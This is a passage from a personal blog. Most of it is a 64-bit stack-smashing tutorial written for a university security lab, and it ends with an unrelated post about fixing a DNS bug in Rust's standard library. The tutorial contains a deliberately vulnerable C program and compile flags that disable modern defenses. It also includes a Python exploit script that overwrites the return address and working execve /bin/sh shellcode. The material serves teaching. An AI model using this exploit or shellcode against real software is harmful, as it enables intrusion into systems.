In this particular example, what comes after the buffer is the saved %rbp value from main, which isn’t all that exciting. But then comes the return value. This is where copy will jump to when it returns. What if we overwrite that with a different address? Well, if we overwrite it with garbage (like AAAAAAAAAA, or the address 0x4141414141414141), the program will probably crash because the program tried to jump to a place in memory where there (probably) isn’t any code to run. But what if we overwrote it with an address to somewhere where there is code to run? Code that we, as an attacker, want to run? Something that gives us a shell prompt or removes a critical file?

Shell Code

The most basic, and easiest to understand, stack overflow attack involves injecting some of our own code into the program’s memory, and then overwriting a return address with the address of that memory so that our code gets executed when that function returns. Or, with a diagram:

  bottom of                                             top of
  memory                                                memory

          str         buffer         sbp        ret
  <-- [        ][ 0           15 ][        ][        ] main...
                  ^                              |
                  |------------------------------|

All we have to do is overwrite the return address with the address of the buffer, and then fill the buffer with some code that does what we want. This code is often referred to as shell code, because what we usually want is to start a shell, which we can then use to issue further commands. Specifically, what we put in the buffer is compiled assembly code that the CPU knows how to run. This section is mostly the same across 32-bit and 64-bit, so go read the “Shell Code” section of Smashing the Stack for Fun and Profit, and then come back here when you reach the next section: “Writing an Exploit”.

So, by now you have a good idea of what the shell code does, and why it does it that way. We now just need to tweak it slightly to work with 64-bit programs. Luckily, that’s pretty straightforward.

First, as you can see from the output of man 2 syscall, the calling convention for 64-bit system calls is a little different from the 32-bit one. Specifically, you issue syscall instead of int 0x80, and arguments are passed in %rdi, %rsi, %rdx, etc., just like for all other functions. That’s an easy fix.
Second, because different registers are used for arguments, you’ll also have to switch up your temporary registers (like %esi) so you don’t overwrite a value you need later when you’re setting an argument.
Third, system call numbers are different in 64-bit linux, and luckily neither the code for execve nor exit contain zero bytes, so you can just use:
```
movb    $SYS_unlink,%al
movb    $SYS_exit,%al
```

You may also find that you also need to update registers to the r variety (signifying an 8-byte register instead of a 4-byte e register), and replace the l operator suffix with a q suffix to indicate that the operator is working with 64-bit arguments. A fully-functional 64-bit shell code for execve is given in Appendix A.

To produce just the bytes of your shell code from a .S assembly file, run:

$ cc -m64   -c -o shellcode.o shellcode.S
$ objcopy -S -O binary -j .text shellcode.o shellcode.bin

Writing an Exploit

With that background, we’re now ready to execute our first attack against a real program. We’ll make our C program a little more sophisticated to make the attack less obscure. Specifically, the program now (supposedly) prints the first 128 characters of each input it gets:

#include <string.h>
#include <stdio.h>
#include <unistd.h>

void first128(char *str) {
  char buffer[128];
  strcpy(buffer, str);
  printf("%s\n", buffer);
}

int main(int argc, char **argv) {
  static char input[1024];
  while (read(STDIN_FILENO, input, 1024) > 0) {
    first128(input);
  }
  return 0;
}

We then compile (see Disabling Modern Defenses for why we do it this way):

$ gcc -g -fno-stack-protector -z execstack vulnerable.c -o vulnerable -D_FORTIFY_SOURCE=0

We now need to construct the right input to that program so that we overflow buffer. In particular, we need to know what to set the return address to, and how many bytes to write out before we start writing the return address. To find these, we’ll use GDB, a really handy tool for debugging programs at a low level. First, let’s start our vulnerable program:

$ env - setarch -R ./vulnerable

It’s now sitting there patiently waiting for input. Notice that the env - has to be there, because the environment variables are inserted into the program’s address space by the kernel when the program starts, and that shifts all of the addresses around, preventing our attack from working reliably! env - wipes the environment clean so the addresses stay the same. See Disabling Modern Defenses for why we need setarch -R.

In another terminal, start up GDB with:

$ gdb -p $(pgrep vulnerable)

This will find the process ID of the program named “vulnerable”, and attach the debugger to it. You’re then greeted by a prompt that lets you input commands that let you affect and inspect the running program. GDB supports a lot of commands, but we’ll stick to the basics here. First, we set a breakpoint at the first128 function, and then type continue to let the program continue executing.

(gdb) b first128
Breakpoint 1 at 0x55555555516b: file x.c, line 7.
(gdb) c
Continuing.

Whenever first128 is called, GDB will pause the program and give us a prompt where we can decide what to do next. Try typing some input to the waiting vulnerable program and press enter.

Breakpoint 1, first128 (str=0x555555558060 <input> "x\n") at x.c:7
7               strcpy(buffer, str);
(gdb)

The first thing we need is the address of buffer so we know what to set the return address to:

(gdb) print &buffer[0]
$1 = 0x7fffffffece0 ""

Great! Next, we need the address of the return value so we can figure out how many bytes of input we need to provide until we reach it:

(gdb) info frame
Stack level 0, frame at 0x7fffffffed70:
 rip = 0x55555555516b in first128 (x.c:7); saved rip = 0x5555555551ad
 called by frame at 0x7fffffffed90
 source language c.
 Arglist at 0x7fffffffed60, args: str=0x555555558060 <input> "x\n"
 Locals at 0x7fffffffed60, Previous frame's sp is 0x7fffffffed70
 Saved registers:
  rbp at 0x7fffffffed60, rip at 0x7fffffffed68

Notice how it says rip at 0x7fffffffed68? That’s the address of the stored return address!

Now we have everything we need to write out exploit string. Writing it out by hand though would be a little painful, so let’s write a little Python program to help us out:

#!/usr/bin/env python3
import os, sys, struct

addr_buffer = 0x7fffffffece0
addr_retaddr = 0x7fffffffed68

# We want buffer to first hold the shellcode
shellfile = open("shellcode.bin", "rb")
shellcode = shellfile.read()

# Then we want to pad up until the return address
shellcode += b"A" * ((addr_retaddr - addr_buffer) - len(shellcode))

# Then we write in the address of the shellcode.
# struct.pack("<Q") writes out 64-bit integers in little-endian.
shellcode += struct.pack("<Q", addr_buffer)

# write the shell code out to the waiting vulnerable program
fp = os.fdopen(sys.stdout.fileno(), 'wb')
fp.write(shellcode)
fp.flush()

# forward user's input to the underlying program
while True:
    try:
        data = sys.stdin.buffer.read1(1024)
        if not data:
            break
        fp.write(data)
        fp.flush()
    except KeyboardInterrupt:
        break

This program reads in the binary shell code, places it at the start of the input, pads up until where the return address is stored on the stack, and then puts the address of the buffer itself there. Then it sends that payload to standard output so that we can pipe it to the vulnerable program:

$ ./exploit.py | env - setarch -R ./vulnerable

Hmm, that looks awfully empty. Is it working? Try typing ls… \o/

If you want to try your hands at writing an exploit yourself, I’d recommend giving MIT’s 6.858 Computer Security’s buffer overflow lab a go. This text was written in part to accompany that lab, so you should be well equipped to handle that now. Good luck!

64-bit Considerations

There are two primary difference between buffer overflows in 32-bit and 64-bit mode that you will have to be aware of, and that will cause you issues.

Zeroes in addresses

First, most 64-bit addresses have 0x00 in their most significant byte, which means we often can’t write them out directly; operations like strcpy and strcat (the common offenders) consider \0 the end of a string, and will thus stop writing at that point.

The good news is that, in little-endian, the most significant byte comes last (that is, at the higher memory address), so often this won’t matter. The terminating \0 will also be copied over, which might be all you need. In some lucky cases the place we’re trying to overwrite already has the required number of 0x00, so stopping early is fine (as long as the application doesn’t append stuff itself).

If you need to write anything more after the address though, or the address happens to be a low one where multiple leading bytes are 0x00 whereas they weren’t before in the location you’re overwriting, you’ll need to find another approach.

This wasn’t as much of an issue on 32-bit systems. While an address could contain 0x00 by accident, it was relatively less likely. On 64-bit systems, this happens for pretty much every address!

Arguments in Registers

On 32-bit systems (i386 in particular), the calling convention for functions is a bit of a free-for-all. The most common one is cdecl, in which arguments to functions are passed on the stack. Specifically, the arguments are pushed onto the stack just before the call instruction in right-to-left order.

This had the really neat side-effect that you could manipulate a function’s arguments simply by changing stuff that was on the stack. For example, one neat way to work around W^X (see Disabling Modern Defenses) was to do a “return to libc” attack. Instead of overwriting the return pointer with the address of your shell code, you would stick the address of, say, execve from libc there instead. You’d then manipulate the various values on the stack so that when the current function returns to execve and it looks at the stack for its arguments, it would see arguments like /bin/sh.

“Sadly”, in x64, the calling convention has changed a fair amount. In x64, the System V AMD64 ABI is used, wherein arguments are passed mostly in registers (this is a good visual explanation). This breaks traditional return-to-libc attacks since you can no longer change what arguments the libc function would see simply by manipulating the stack (which is all you can do with a buffer overflow). There are ways to get around this, for example by using the “borrowed code chunks” technique, and the generalized idea of return-oriented programming, but those attacks are far more difficult to pull off.

Finding Buffer Overflows

Instead of repeating Aleph One’s words here, I’ll just direct you to the “Finding Buffer Overflows” section of Smashing the Stack for Fun and Profit.

Disabling Modern Defenses

When trying to do a buffer-overflow attack on a modern machine, there are several defenses you’ll have to deal with:

Stack Canaries: The compiler injects pieces of code into the binary that puts a special value between the local variables of a function and the next frame (and, crucially, before the return address). Just before the function returns, it checks that the stack canary still has the correct value, and only then does it issue the ret instruction. This defeats the attack above, since we will always overwrite the canary with gibberish in our attempt to get to the return address! To disable stack canaries in gcc, pass -fno-stack-protector.
Address-Space Layout Randomization: The mechanism is known as ASLR, and roughly means that the kernel will randomize where in memory your program is located when it starts. This usually includes the instructions that make up the program code, the stack, the heap, and the location of any dynamically linked libraries. With this feature enabled, you can no longer (easily) figure out any of the addresses you need, and so you don’t know what to overwrite the return address with! You can tell the kernel to disable ASLR for a given program by invoking it through setarch -R. Older versions of setarch also require that you pass "$(uname -m)" as the first argument. Note that these solutions are not sufficient:
- -no-pie alone doesn’t cut it, as dynamically linked libraries are still randomized (if you care about return-to-libc).
- -static alone doesn’t cut it, as the address of the program itself is still randomized.
- with both, your stack and heap locations are still randomized.
W^X: Write XOR Execute is a pretty simple defense wherein all memory in your process is either writeable (like your stack) or executable (like the program code). When this feature is enabled, which it is by default, a stack overflow like discussed above won’t work since your shell code (which then lives on the stack) isn’t marked as executable. When you try to return to it, the CPU will simply refuse to continue. You can disable this feature using execstack, or in gcc by linking your program with -z execstack.
Fortified Source: By default, gcc enables source fortification, which wraps functions that are known to be problematic, like strcpy or strcat, with security checks when gcc can figure out the required bounds. When these checks are in place, attempts to overflow a buffer may instead terminate your program with
```
*** buffer overflow detected ***: ./vulnerable terminated
```
To work around this, just pass -D_FORTIFY_SOURCE=0.

It may seem like cheating to turn these off, and in some sense it is, but it is helpful when trying to teach the underlying ideas behind stack smashing. And in fact, it is often possible to work around these defenses with more advanced attacks, though those are far beyond the scope of this document.

Appendix A: 64-bit execve shell code

#include <sys/syscall.h>

#define STRING  "/bin/sh"
#define STRLEN  7
#define ARGV    (STRLEN+1)
#define ENVP    (ARGV+8)

.globl main
        .type   main, @function

 main:
        jmp     calladdr

 popladdr:
        popq    %rcx
        movq    %rcx,(ARGV)(%rcx)       /* set up argv pointer to pathname */
        xorq    %rax,%rax               /* get a 64-bit zero value */
        movb    %al,(STRLEN)(%rcx)      /* null-terminate our string */
        movq    %rax,(ENVP)(%rcx)       /* set up null envp */

        movb    $SYS_execve,%al         /* syscall arg 1: syscall number */
        movq    %rcx,%rdi               /* syscall arg 2: string pathname */
        leaq    ARGV(%rcx),%rsi         /* syscall arg 2: argv */
        leaq    ENVP(%rcx),%rdx         /* syscall arg 3: envp */
        syscall                 /* invoke syscall */

        movb    $SYS_exit,%al          /* syscall arg 1: SYS_exit (60) */
        xorq    %rdi,%rdi               /* syscall arg 2: 0 */
        syscall                 /* invoke syscall */

 calladdr:
        call    popladdr
        .ascii  STRING

The Story of a Rust Bug

Wed, 10 May 2017 23:23:23 +0000

A while ago, I built a system-tray application in Rust to notify me of new e-mail called buzz. It was working fine, but every now and again, it would fail to connect to the mail server on boot if it started before my network connection was up. Sounds easy enough to fix, so I just added a loop around my connect (even made it have exponential backoff!) and considered the issue dealt with.

Fast forward a few days, and the same issue happens again. I boot my computer, buzz starts before my network is ready, and while it now continues trying to connect for a while, each attempt fails with the same error: “Name or service not known”. Hmm… I kill buzz and restart it, and lo and behold it connects immediately without issue. What sorcery is this?

It’s time to do some debugging. First, let’s write a sample program:

fn main() {
    use std::thread;
    use std::time::Duration;
    use std::net::TcpStream;

    loop {
        match TcpStream::connect("google.com:80") {
            Ok(_) => {
                println!("connected");
                break;
            }
            Err(e) => {
                println!("failed: {:?}", e);
            }
        }
        thread::sleep(Duration::from_secs(1));
    }
}

Running it prints “connected” — great. Now, let’s disconnect the internet and run it again — it prints

failed: Name or service not known

over and over again. Okay, still as expected. Now let’s turn the internet back on

failed: Name or service not known
failed: Name or service not known
failed: Name or service not known
failed: Name or service not known

Something is definitely fishy. So, let’s ask Google:

linux c connect before interface comes up and then retry

No particularly promising results there…

linux c connect before interface comes up and then retry Name or service not known

Still unhelpful.

linux internet connectivity retry connection failed

This takes us to a somewhat promising Thunderbird issue named “Thunderbird “Failed to connect to server” after connecting to Internet”, but it fails to reach any helpful conclusions. But we shall not surrender!

“Name or service not known” after interface comes up

Ooooh, “#2825 (Pidgin cannot reconnect after changing networks)” looks promising. Among the comments:

This is an issue when NetworkManager isn’t around. res_init (rereads /etc/resolv.conf) is only called in the NM path.

/etc/resolv.conf is where Linux keeps track of the DNS nameservers to use when looking up the IP addresses of domain names. Depending on your network configuration, that file is empty when you are offline, and then entries are filled in when you connect to a network. The comment suggests that the contents of this file is cached, which would mean our program never learns of any nameservers (it always see the empty list), and so all DNS resolution fails for all eternity!

Armed with the knowledge about res_init, our Google searches are suddenly a lot more helpful, and reveal that this problem is actually something many projects have encountered. Let’s see what Rust does, why our program doesn’t work, and how we might fix it.

TcpStream::connect takes an argument that implements ToSocketAddrs. “Implementors” at the bottom of that page shows that ToSocketAddrs is implemented for str, which makes a lot of sense given that we’re passing in a str to it in our code above. Let’s click the src link at the top right of the page to see what it’s doing to turn that string into an IP address!

Scrolling down a little, we see that it calls resolve_socket_addr, which is defined a bit further up. It again calls lookup_host, which seems to just be a stub of some sort:

use sys_common::net as net_imp;
// ...
pub fn lookup_host(host: &str) -> io::Result<LookupHost> {
    net_imp::lookup_host(host).map(LookupHost)
}

That’s not very helpful. It’s time we go explore the rust GitHub repository. There’s a lot of stuff here, but let’s just try to take the fast path to what we’re looking for. The use sys_common::net gives us a starting point: use statements like these inside the standard library are using other modules from the standard library, which lives in src/libstd. And how about that, right there there’s a little sys_common subdirectory. Let’s open that up. And then we want net.rs, because that’s the module the lookup_host function was using.

(At this point, it’s worth noting that I’ve cheated a little. Since my fix for this bug has now landed, if you actually follow the path on GitHub, you’ll see the new version of net.rs. If you want to see what I saw, click the linked net.rs above instead.)

So, lookup_host calls c::getaddrinfo, and then returns Ok. There’s a call to cvt_gai in there suffixed with a ?, which I assume deals with the case where the lookup fails, but let’s ignore that for a second. There’s no call to res_init here. This means that unless the application calls res_init itself, it will simply never get to use the internet. That’s pretty sad. Let’s fix that!

The most straightforward fix is to just call res_init directly from our application if connect fails. But, in order to do that, we, well, need to be able to call res_init. res_init is a function in libc (at least on UNIX-like systems), so the place to look would be the Rust libc crate. If you look today, there is a res_init function in libc, but this was not the case when I looked. So, time to file a pull request!

The libc README clearly states the process for adding an API, and it basically comes down to “add a function to src/unix/mod.rs, submit, and then fix failing tests”. It turns out that res_init is actually somewhat funky as far as libc functions go, so it took quite a bit of digging to get it right on all the UNIX-y platforms that libc supports. But with the aid of the amazing Alex Crichton, green checkmarks eventually started appearing, and PR#585 landed (if you want to know what the process is like, I encourage you to read through the comments there).

Okay, so we now have libc::res_init, which means we can fix our application by adding a dependency on libc and calling the function manually after each failed connection attempt. While this would work, it doesn’t feel particularly elegant. And what about other people who will inevitably also run into the same issue? No, we can to better. Time to fix Rust!

First, I filed #41570, an issue outlining the issue, giving much of the same reasoning and examples that I’ve given in this post. I actually did that before my libc PR, but that’s sort of beside the point. I then asked for opinions about what the best place to implement the fix would be, suggesting the lookup_host function we found above. Alex Crichton responded (again!), and PR#41582 was born. I’ll spare you some of the details (read the comments if you want them), but two primary changes were needed:

We had to update the version of libc that rust includes, so that we have access to the newly added res_init. libc is linked into rust as a git submodule, so that was just a matter of cd-ing into the right directory and running git pull.
We then had to modify lookup_host so that, if it fails to do a lookup, and we’re running a UNIX-y OS, we call res_init before returning.

It took a few iterations to get the kinks ironed out, and all os targets to be happy, but on May 5th at 5:35pm, the Rust build system accepted and merged my PR! A few hours later, at midnight UTC, a new nightly release of Rust was published, which included my fix. After a quick rustup update and a recompile, buzz now works correctly without any changes to the code! Yay progress!

Hopefully this post has given some insight into what is involved in making a contribution to the Rust standard library, and may give you some pointers to what you might do if you find something you would like to fix in Rust! It doesn’t even have to involve coding — the Rust team would love documentation changes too. Happy hacking!

Jon Gjengset

About 40 hours

Area under the curve

Longer days

Longer workweeks

Burnout

Crunch time

Exerting back-pressure

Performance expectations

Working smarter

Finding the time

Post-publish addenda

Employers that do not optimize for impact

Writing about people, to people

A human will read what you write – write like it

Spend the time to make it short

Two take-aways is too many

Further reading

Captioning all my YouTube videos with AI

Generating captions for long videos

Mapping video files back to YouTube

Uploading the captions

End result

Eisenhower vectors

Using a real camera as a webcam on Linux

Choosing a camera

Hooking it up

Actually getting an image

Handy USB reset

Result

Livestream tips

Software

Hardware

Content and Structure

Announcements

The Stream Itself

Installing Windows when all you have is Linux

My First Podcast: A Tale of a Broken Ecosystem

Smashing the Stack in the 21st Century

The Stack Region

The Calling Convention

Buffer Overflows

Shell Code

Writing an Exploit

64-bit Considerations

Zeroes in addresses

Arguments in Registers

Finding Buffer Overflows

Disabling Modern Defenses

Appendix A: 64-bit execve shell code

The Story of a Rust Bug